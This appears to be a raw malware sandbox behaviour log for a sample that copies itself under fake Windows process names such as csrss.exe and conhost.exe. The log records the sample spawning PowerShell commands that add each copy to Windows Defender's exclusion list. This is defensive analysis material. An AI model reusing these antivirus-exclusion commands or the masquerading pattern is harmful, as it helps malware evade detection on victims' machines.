9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8eb9875f0870e000050fd7f9a5c4c7700a0fd7fccc54a024450fd7f00000000400000003f000000290000000050fd7fc0c54a02c15c4c7760825377290000000050fd7f9a5c4c7700a0fd7fe4c54a0257894b778083537713173c75d8eb9875 (UID: 00000000-00005316) "intoHostDhcp.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000064007700500072006f006300650073007300490064002c0030002c0030002c002c0031003600370038000d000a0000006c00330032002e0064006c006c002c0022003200350032003a00300035003a00340030002e0037003900320022002c00520058003d0030002c00500058003d00 (UID: 00000000-00005752) "intoHostDhcp.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000000000000000000000000000000000000040000000100000000020000000600000004000000010000000000000000cf6d6c0c4f6202000000000000001800000000000000f8ec59042823c66900000a00000000000c0000004489ef0104ed59042f99286c0c000000 (UID: 00000000-00005752) "intoHostDhcp.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000000000000000000000000000000000000040000000100000000020000000600000004000000010000000000000000cf6d6c0c4f6202000000000000001800000000000000c8ec59042823c66900000a00000000000c000000c877f701d4ec59042f99286c0c000000 (UID: 00000000-00005752) "intoHostDhcp.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000000000000000000000000000000000000040000000100000000020000000600000004000000010000000000000000cf6d6c0c4f6202000000000000001800000000000000f8ec59042823c66900000a00000000000c000000c4b3f70104ed59042f99286c0c000000 (UID: 00000000-00005752) "intoHostDhcp.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000000000000000000000000000000000000040000000100000000020000000600000004000000010000000000000000cf6d6c0c4f6202000000000000001800000000000000c8ec59042823c66900000a00000000000c000000dcc1f701d4ec59042f99286c0c000000 (UID: 00000000-00005752) "intoHostDhcp.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000000000000000000000000000000000000040000000100000000020000000600000004000000010000000000000000cf6d6c0c4f6202000000000000001800000000000000f8ec59042823c66900000a00000000000c00000008fcf70104ed59042f99286c0c000000 (UID: 00000000-00005752) "intoHostDhcp.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000000000000000000000000000000000000040000000100000000020000000600000004000000010000000000000000cf6d6c0c4f6202000000000000001800000000000000c8ec59042823c66900000a00000000000c000000200af801d4ec59042f99286c0c000000 (UID: 00000000-00005752)33:T898,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "intoHostDhcp.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "intoHostDhcp.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "csrss.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "dllhost.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")34:T5e2,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "")35:T1241,"intoHostDhcp.exe" queries volume information of "C:\BlockproviderComponentweb\intoHostDhcp.exe" at 00000000-00005752-0000010C-2576708 "intoHostDhcp.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" at 00000000-00005752-0000010C-6333537 "intoHostDhcp.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" at 00000000-00005752-0000010C-6341530 "csrss.exe" queries volume information of "C:\TorService\tor\pluggable_transports\csrss.exe" at 00000000-00006116-0000010C-38800249 "dllhost.exe" queries volume information of "C:\ProgramData\Oracle\Java\javapath_target_623756\dllhost.exe" at 00000000-00004364-0000010C-25388274 "wininit.exe" queries volume information of "C:\Windows\PLA\Templates\wininit.exe" at 00000000-00001920-0000010C-36996255 "wininit.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" at 00000000-00001920-0000010C-94775778 "wininit.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" at 00000000-00001920-0000010C-95577063 "OSPPSVC.exe" queries volume information of "C:\BlockproviderComponentweb\OSPPSVC.exe" at 00000000-00001572-0000010C-37753784 "conhost.exe" queries volume information of "C:\Temp\conhost.exe" at 00000000-00003744-0000010C-28325824 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004068-0000010C-15189797 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004068-0000010C-22438430 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004068-0000010C-24323645 "powershell.exe" queries volume information of "C:\share" at 00000000-00004068-0000010C-24427748 "powershell.exe" queries volume information of "C:\share" at 00000000-00004068-0000010C-25676745 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll" at 00000000-00004068-0000010C-37972295 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll" at 00000000-00004068-0000010C-38068075 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll" at 00000000-00004068-0000010C-38073490 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_32\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll" at 00000000-00004068-0000010C-38079589 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll" at 00000000-00004068-0000010C-38084440 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll" at 00000000-00004068-0000010C-40737305 "powershell.exe" queries volume information of "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll" at 00000000-00004068-0000010C-42457125 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll" at 00000000-00004068-0000010C-81934631 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll" at 00000000-00004068-0000010C-81943118 "powershell.exe" queries volume information of "C:\Program Files\AutoIt3\AutoItX\AutoItX3.PowerShell.dll" at 00000000-00004068-0000010C-8236779536:T42d,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "intoHostDhcp.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "csrss.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "dllhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "wininit.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "OSPPSVC.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "conhost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME")37:T5a1,"powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: "CERTIFICATES") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\18F7C1FCC3090203FD5BAA2F861A754976C8DD25"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\245C97DF7514E7CF2DF8BE72AE957B9E04741E85"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\3B1EFD3A66EA28B16697394703A72CA340A05BD5"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\7F88CD7223F3C813818C994614A89C99FA3B5247"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES\1916A2AF346D399F50313C393200F14140456616"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES\2A83E9020591A55FC6DDAD3FB102794C52B24E70"; Key: "BLOB")38:T5fe,"intoHostDhcp.exe" called "CopyFileW" to copy C:\BlockproviderComponentweb\intoHostDhcp.exe to new location %USERPROFILE%\Oracle\Java\javapath\dllhost.exe (UID: 00000000-00005752) "intoHostDhcp.exe" called "CopyFileW" to copy C:\BlockproviderComponentweb\intoHostDhcp.exe to new location C:\TorService\tor\pluggable_transports\csrss.exe (UID: 00000000-00005752) "intoHostDhcp.exe" called "CopyFileW" to copy C:\BlockproviderComponentweb\intoHostDhcp.exe to new location C:\BlockproviderComponentweb\OSPPSVC.exe (UID: 00000000-00005752) "intoHostDhcp.exe" called "CopyFileW" to copy C:\BlockproviderComponentweb\intoHostDhcp.exe to new location %PROGRAMFILES%\VMware\conhost.exe (UID: 00000000-00005752) "intoHostDhcp.exe" called "CopyFileW" to copy C:\BlockproviderComponentweb\intoHostDhcp.exe to new location %WINDIR%\PLA\Templates\wininit.exe (UID: 00000000-00005752) "intoHostDhcp.exe" called "CopyFileW" to copy C:\BlockproviderComponentweb\intoHostDhcp.exe to new location C:\Temp\conhost.exe (UID: 00000000-00005752) "intoHostDhcp.exe" called "CopyFileW" to copy C:\BlockproviderComponentweb\intoHostDhcp.exe to new location %WINDIR%\L2Schemas\csrss.exe (UID: 00000000-00005752) "intoHostDhcp.exe" called "CopyFileW" to copy C:\BlockproviderComponentweb\intoHostDhcp.exe to new location %WINDIR%\Media\Quirky\conhost.exe (UID: 00000000-00005752) "intoHostDhcp.exe" called "CopyFileW" to copy C:\BlockproviderComponentweb\intoHostDhcp.exe to new location C:\BlockproviderComponentweb\conhost.exe (UID: 00000000-00005752)39:T838,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "CreateDirectoryW" with parameter C:/BlockproviderComponentweb (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00005856) "WScript.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00005316) "intoHostDhcp.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00005752) "wininit.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00001920) "conhost.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003744) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00004068) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00004068) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001248) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001248) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002964) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002964) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001704) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001704) "dllhost.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003284) "dllhost.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003284)3a:T8d6,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\WScript.exe" "C:\BlockproviderComponentweb\no2eZG6mwS0.vbe"" - (UID: 00000000-00005856) "WScript.exe" called "CreateProcessW" with parameter ""C:\BlockproviderComponentweb\QGmdpYGOg.bat"" - (UID: 00000000-00005316) "cmd.exe" called "CreateProcessW" with parameter ""C:\BlockproviderComponentweb\intoHostDhcp.exe"" - (UID: 00000000-00005780) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\BlockproviderComponentweb\intoHostDhcp.exe'" - (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath '%USERPROFILE%\Oracle\Java\javapath\dllhost.exe'" - (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\TorService\tor\pluggable_transports\csrss.exe'" - (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\BlockproviderComponentweb\OSPPSVC.exe'" - (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\PLA\Templates\wininit.exe'" - (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\Temp\conhost.exe'" - (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\L2Schemas\csrss.exe'" - (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\Media\Quirky\conhost.exe'" - (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\BlockproviderComponentweb\conhost.exe'" - (UID: 00000000-00005752) "intoHostDhcp.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\cmd.exe" /C "%TEMP%\LkZH0FaUeD.bat"" - (UID: 00000000-00005752)3b:T583,"powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.134332191566788951.4068.DefaultAppDomain.powershell" - (UID: 00000000-00004068) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.134332192172816955.4328.DefaultAppDomain.powershell" - (UID: 00000000-00004328) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.134332192771440956.2716.DefaultAppDomain.powershell" - (UID: 00000000-00002716) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.134332193377624960.1248.DefaultAppDomain.powershell" - (UID: 00000000-00001248) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.134332193991212967.3876.DefaultAppDomain.powershell" - (UID: 00000000-00003876) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.134332194590616970.3824.DefaultAppDomain.powershell" - (UID: 00000000-00003824) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.134332198201728985.2964.DefaultAppDomain.powershell" - (UID: 00000000-00002964) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.134332203003117004.1704.DefaultAppDomain.powershell" - (UID: 00000000-00001704) "powershell.exe" called "NtCreateNamedPipeFile" with parameter "pipe\PSHost.134332225797761086.3720.DefaultAppDomain.powershell" - (UID: 00000000-00003720)3c:T902,Process a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process intoHostDhcp.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex" Process intoHostDhcp.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process intoHostDhcp.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process intoHostDhcp.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\29b4905de3668029a828ac5ede5aec7a70555bf5" Process csrss.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex" Process dllhost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex" Process wininit.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process wininit.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process wininit.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\29b4905de3668029a828ac5ede5aec7a70555bf5" Process wininit.exe created mutex with name "\Sessions\1\BaseNamedObjects\RasPbFile" Process wininit.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex" Process OSPPSVC.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex" Process conhost.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex"3d:T5e3,Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\intoHostDhcp.exe'" (UID: 00000000-00004068) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%USERPROFILE%\\Oracle\\Java\\javapath\\dllhost.exe'" (UID: 00000000-00004328) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\TorService\\tor\\pluggable_transports\\csrss.exe'" (UID: 00000000-00002716) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\OSPPSVC.exe'" (UID: 00000000-00001248) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\PLA\\Templates\\wininit.exe'" (UID: 00000000-00003876) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Temp\\conhost.exe'" (UID: 00000000-00003824) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\L2Schemas\\csrss.exe'" (UID: 00000000-00002964) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\Media\\Quirky\\conhost.exe'" (UID: 00000000-00001704) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\conhost.exe'" (UID: 00000000-00003720)3e:T2b31,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-1" - [base:0; Status:c0000135] "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" failed to load missing module "ext-ms-win-kernel32-package-current-l1-1-0" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "intoHostDhcp.exe" failed to load missing module 